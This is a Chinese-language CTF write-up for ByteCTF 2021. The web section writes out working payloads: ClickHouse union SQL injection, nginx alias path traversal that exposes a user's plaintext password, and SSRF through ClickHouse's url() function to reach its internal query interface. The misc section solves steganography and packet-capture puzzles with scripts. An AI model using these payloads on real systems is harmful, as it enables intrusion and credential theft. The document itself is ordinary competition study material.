内容纲要

ByteCTF 2021 WEB & MISC WP

WEB

double sqli

测试语句39.105.175.150:30001/?id=or返回报错

Code: 47.
DB::Exception: Missing columns: 'or' while processing query: 'SELECT ByteCTF FROM hello WHERE 1 = or', required columns: 'ByteCTF' 'or', maybe you meant: ['ByteCTF']. Stack trace:

0. DB::TreeRewriterResult::collectUsedColumns(std::__1::shared_ptr<DB::IAST> const&, bool) @ 0xf0c9e4e in /usr/bin/clickhouse
1. DB::TreeRewriter::analyzeSelect(std::__1::shared_ptr<DB::IAST>&, DB::TreeRewriterResult&&, DB::SelectQueryOptions const&, std::__1::vector<DB::TableWithColumnNamesAndTypes, std::__1::allocator<DB::TableWithColumnNamesAndTypes> > const&, std::__1::vector<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >, std::__1::allocator<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > > > const&, std::__1::shared_ptr<DB::TableJoin>) const @ 0xf0d04bc in /usr/bin/clickhouse
2. ? @ 0xec7410e in /usr/bin/clickhouse
3. DB::InterpreterSelectQuery::InterpreterSelectQuery(std::__1::shared_ptr<DB::IAST> const&, DB::Context const&, std::__1::shared_ptr<DB::IBlockInputStream> const&, std::__1::optional<DB::Pipe>, std::__1::shared_ptr<DB::IStorage> const&, DB::SelectQueryOptions const&, std::__1::vector<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >, std::__1::allocator<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > > > const&, std::__1::shared_ptr<DB::StorageInMemoryMetadata const> const&) @ 0xec7097a in /usr/bin/clickhouse
4. DB::InterpreterSelectQuery::InterpreterSelectQuery(std::__1::shared_ptr<DB::IAST> const&, DB::Context const&, DB::SelectQueryOptions const&, std::__1::vector<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >, std::__1::allocator<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > > > const&) @ 0xec6f15d in /usr/bin/clickhouse
5. DB::InterpreterSelectWithUnionQuery::buildCurrentChildInterpreter(std::__1::shared_ptr<DB::IAST> const&, std::__1::vector<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >, std::__1::allocator<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > > > const&) @ 0xef909f5 in /usr/bin/clickhouse
6. DB::InterpreterSelectWithUnionQuery::InterpreterSelectWithUnionQuery(std::__1::shared_ptr<DB::IAST> const&, DB::Context const&, DB::SelectQueryOptions const&, std::__1::vector<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >, std::__1::allocator<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > > > const&) @ 0xef8f2f0 in /usr/bin/clickhouse
7. DB::InterpreterFactory::get(std::__1::shared_ptr<DB::IAST>&, DB::Context&, DB::SelectQueryOptions const&) @ 0xec25e90 in /usr/bin/clickhouse
8. ? @ 0xf12d109 in /usr/bin/clickhouse
9. DB::executeQuery(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, DB::Context&, bool, DB::QueryProcessingStage::Enum, bool) @ 0xf12bce3 in /usr/bin/clickhouse
10. DB::TCPHandler::runImpl() @ 0xf8b7c5d in /usr/bin/clickhouse
11. DB::TCPHandler::run() @ 0xf8ca1c9 in /usr/bin/clickhouse
12. Poco::Net::TCPServerConnection::start() @ 0x11f7ccbf in /usr/bin/clickhouse
13. Poco::Net::TCPServerDispatcher::run() @ 0x11f7e6d1 in /usr/bin/clickhouse
14. Poco::PooledThread::run() @ 0x120b4df9 in /usr/bin/clickhouse
15. Poco::ThreadImpl::runnableEntry(void*) @ 0x120b0c5a in /usr/bin/clickhouse
16. start_thread @ 0x7fa3 in /lib/x86_64-linux-gnu/libpthread-2.28.so
17. clone @ 0xf94cf in /lib/x86_64-linux-gnu/libc-2.28.so

通过报错得知数据库类型为clickhouse,查询语句为

select ByteCTF from hello where 1=...

存在联合查询注入?id=1 union all select user()

查询系统表得到数据库为ctf,default;数据表为ctf.hint,default.hello

?id=1 union all select name from system.tables
?id=1 union all select name from system.databases

查询ctf.hint得知权限不足?id=0 union all select * from ctf.hint

当前用户为user_02,可能有user_01

直接访问/给出的提示为 something in files

发现files存在目录穿越

看了一下nginx的配置,原来是alias导致的,好老的点。。。

server {
    listen 80;
    location / {
        try_files $uri @app;
    }
    location @app {
        include uwsgi_params;
        uwsgi_pass unix:///tmp/uwsgi.sock;
    }
    location /static {
        alias /app/static;
    }
}

遍历目录发现sql文件

http://39.105.175.150:30001/files../var/lib/clickhouse/access/3349ea06-b1c1-514f-e1e9-c8d6e8080f89.sql

得到用户user_01的密码

ATTACH USER user_01 IDENTIFIED WITH plaintext_password BY 'e3b0c44298fc1c149afb';
ATTACH GRANT SELECT ON ctf.* TO user_01;

然后在clickhouse的文档中得知

  1. clickhouse在8123端口可以http get传参实现登录查询功能:HTTP客户端 | ClickHouse文档

  2. clickhouse支持访问外部url查询数据:url | ClickHouse Documentation

先构造访问8123端口的url,不知道为什么user:password@host:8123的方式会认证失败。。。必须传参。。。

http://127.0.0.1:8123/?user=user_01&password=e3b0c44298fc1c149afb&query=select name from system.databases

然后构造注入访问url的payload

?id=0 union all select * from url(url_above,"CSV","name String")

结合在一起通过clickhouse提供的url函数SSRF访问clickhouse提供的HTTP查询接口获取数据,注意访问8123的url需要二次转义

?id=0 union all select * from url("http://127.0.0.1:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=select%2520name%2520from%2520system.databases","CSV","name String")

最后获得flag的payload

?id=0%20union%20all%20select%20*%20from%20url(%22http://127.0.0.1:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=select%2520*%2520from%2520ctf.flag%22,%22CSV%22,%22name%20String%22)

MISC

HearingNotBelieving

音频的频谱图隐写和sstv隐写

分别使用的提取工具为audition和mmsstv

lost pixel

excel的背景图像存在隐写,将xls文件改后缀为zip解压得到背景图image1.png

stegsolve提取出lsb隐写

我以为的block size=8,一个4×4的方形色块为一个像素点,8个像素点为一个block

实际上的blocksize=8,要我说这好歹应该是blocksize=8×8或者blockheight=8才对吧

所以按照出题者的意思是像素图转4进制转byte

from PIL import  Image

im=Image.open("1.bmp")

text=""
data=b""
rgb_im = im.convert('RGB')
for i in range(0,150,2):
    for j in range(0,150,2):
        block=[rgb_im.getpixel((j,i))[0]//255,  rgb_im.getpixel((j+1,i))[0]//255,  rgb_im.getpixel((j,i+1))[0]//255,    rgb_im.getpixel((j+1,i+1))[0]//255]
        if 0 in block:
            text+=str(block.index(0))
print(bytes.fromhex(hex(int(text,4))[2:]))

我这里用的1.bmp是缩小了4倍后的图像,就是缩小后blocksize=2了,如果按照出题人对blocksize的理解的话。

可能photoshop缩小算法的原因,没有出现完整的flag,但还是能看出来的。

frequently

dns域名隐写也是神奇了,比赛的时候发现dns查询bytedanec.top(竟然不是bytedance.top,是不是出题人的手抖了?)的二级域名的前缀很像base64,于是提取了所有bytedanec.top二级域名的前缀,去重后拼在一起,结果得到的是损坏了的图像

data.png

赛后发现原来是我没有去掉重传报文,因为UDP报文的重传wireshark是不会检测的,没有像TCP那样出现retransmission的提示我就忽略了这一点。。。

加上去重传报文后的脚本

from scapy.all import *
import base64
pcap_path="frequently.pcap"
pkts = rdpcap(pcap_path)
ids=set()
data=""
data2=""
data3=""
for pkt in pkts:
    if not pkt.haslayer("DNS") or not pkt.haslayer("IP") or pkt["DNS"].qd==None or pkt["DNS"].id in ids:
        continue
    if b".bytedanec.top" in pkt["DNS"].qd.qname:
        d=pkt["DNS"].qd.qname[:pkt["DNS"].qd.qname.find(b".bytedanec.top")].decode()
        if len(d)>1:
            data+=d
            data3+=d+"\n"
            ids.add(pkt["DNS"].id)
open("data.data","w").write(data3)
open("data2.png","wb").write(base64.b64decode(data))

得到的图像为

结果flag不在这里,提取过程中发现许多o.bytedanec.top和i.bytedanec.top一直想不明白有啥意义,觉得可能是表示接下来一个base64子域的域名查询的数据包的什么东西,但是发现有对应不上,并不是一个oi一个base64

比赛后才知道原来o就是0,i就是1当成二进制解析即可。啊这。。。同样要去重,不然又是乱码,气死了

from scapy.all import *
pcap_path="frequently.pcap"
pkts = rdpcap(pcap_path)
ids=set()
data=""
data3=""
for pkt in pkts:
    if not pkt.haslayer("DNS") or not pkt.haslayer("IP") or pkt["DNS"].qd==None or pkt["DNS"].id in ids:
        continue
    if b".bytedanec.top" in pkt["DNS"].qd.qname:
        d=pkt["DNS"].qd.qname[:pkt["DNS"].qd.qname.find(b".bytedanec.top")].decode()
        if len(d)<2:
            data+=d
            data3+=d+"\n"
            ids.add(pkt["DNS"].id)
print(bytes.fromhex(hex(int(data.replace("o","0").replace("i",'1'),2))[2:]))

结果为

b'The first part of flag: ByteCTF{^_^enJ0y&y0ur'

另外一般的flag我觉得就完完全全脑洞了吧,有提示吗难道?

就算赛后做出来的同学在wp里说实在bytedance.net的流数据里,我盯着下图子域名前缀以及其原报文看了半天,完全不知道flag在哪里

赛后看别的队伍的wp结果在这个DHCP流里有flag,我真的是想不到啊。。。

就算我知道这里有,乍一看也看不出什么玄妙啊

babyshark

tcp.stream eq 0真的好大好可疑,看到了好多PK,应该有zip包

dump出来binwalk一下得到了classes3.dex和一堆文件,看着像apk解包后的东西。结果封成apk校验不对,去掉了WRTE之类的报文的也还是不对,赛后看WP得知他apk后面还接了半个zip?

比赛的时候没管那么多,既然有classes3.dex是不是应该还有classes.dex和classes2.dex啊,因为我看apktool反编译dex的工具目录下有这三个文件来着,于是用01editor打开dump出来的后搜了一下,果真有

binwalk提取不出来估计我还是没有把一些无关报文给过滤掉,所以直接把这个PK节之前的全删了重新保存一份给binwalk -e就能解出classes.dex了,classes2.dex同理。

不过解出来之后没啥用,都是一些javax和android的库,好处是放在一起拖进vscode之后代码报错引用缺失少了2333

看了看dex2jar和GDA反编译出来的代码,发现dex2jar的更简洁,但是错误更多,很多变量名都丢失了,全都用paramString、paramByteArray之类的代替,结果就是一个函数里不是同一个变量只要类型相同名字都是一样的,就报了一堆错误。。。手动修正后发现aesutil.java是实现aes加解密功能的模块,和业务罗辑关系不大。

MainActivity.jar的代码十分让人在意,感觉最后一行解密出来就是flag了

  protected void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    setContentView(2131427356);
    if (Build.VERSION.SDK_INT > 9) {
      StringNode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder().permitAll().build());
    }
    paramBundle = loadPBClass(getPBClass()).getMethods()[37];
    AesUtil.decrypt(getAESKey(getPBResp(), paramBundle), "8939AA47D35006FB2B5FBDB9A810B25294B5D4D76E4204D33BA01F7B3F9D99B1");
  }

但是密文有,密钥是getAESKey函数提供的。

关于getAESKey函数干了什么我真没看懂,可能我java太弱了,没怎么实践,又是init又是getMethod又是invoke,给我搞的晕头转向的。。。

但是从loadPBClass、getPBResp和getPBClass中发现需要一下三个代码里没有的东西

  public String getPBClass(){
    ...
      str = Environment.getExternalStorageDirectory().getAbsolutePath() + "/PBClass.dex";
    ...
  }
  public byte[] getPBResp(){
    Object localObject1 = new byte[0];
    OkHttpClient localOkHttpClient = new OkHttpClient();
    Object localObject2 = new Request.Builder().url("http://192.168.2.247:5000/api").build();
    try
    {
      localObject2 = localOkHttpClient.newCall((Request)localObject2).execute().body().bytes();
      ...
  }
  public Class loadPBClass(String paramString){
    File localFile = getDir("dex", 0);
    DexClassLoader a = new DexClassLoader(new File(paramString).getAbsolutePath(), localFile.getAbsolutePath(), null, getClassLoader());
    try{
      paramString = paramString.loadClass("com.bytectf.misc1.KeyPB").getClasses()[0];
      return paramString;
    ...
  }

PBClasses.dex、http://192.168.2.247:5000/api和com.bytectf.misc1.KeyPB

其中http://192.168.2.247:5000/api的响应可以在pcapng中找到

但是我们在PBxxx这里卡住了。。。

赛后看WP得知,原来这里PB是要猜的,正确答案是protobuf…

protobuf是啥,在java题里见过不止一次了,看来得找时间学习一下

根据别人的WP,这里使用cyberchef解密/api的响应得到long类型的密钥244837809871755L

然后就可以AES解密得到flag了。。。

卡在了最后一步真可惜QAQ

Leave a Reply

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据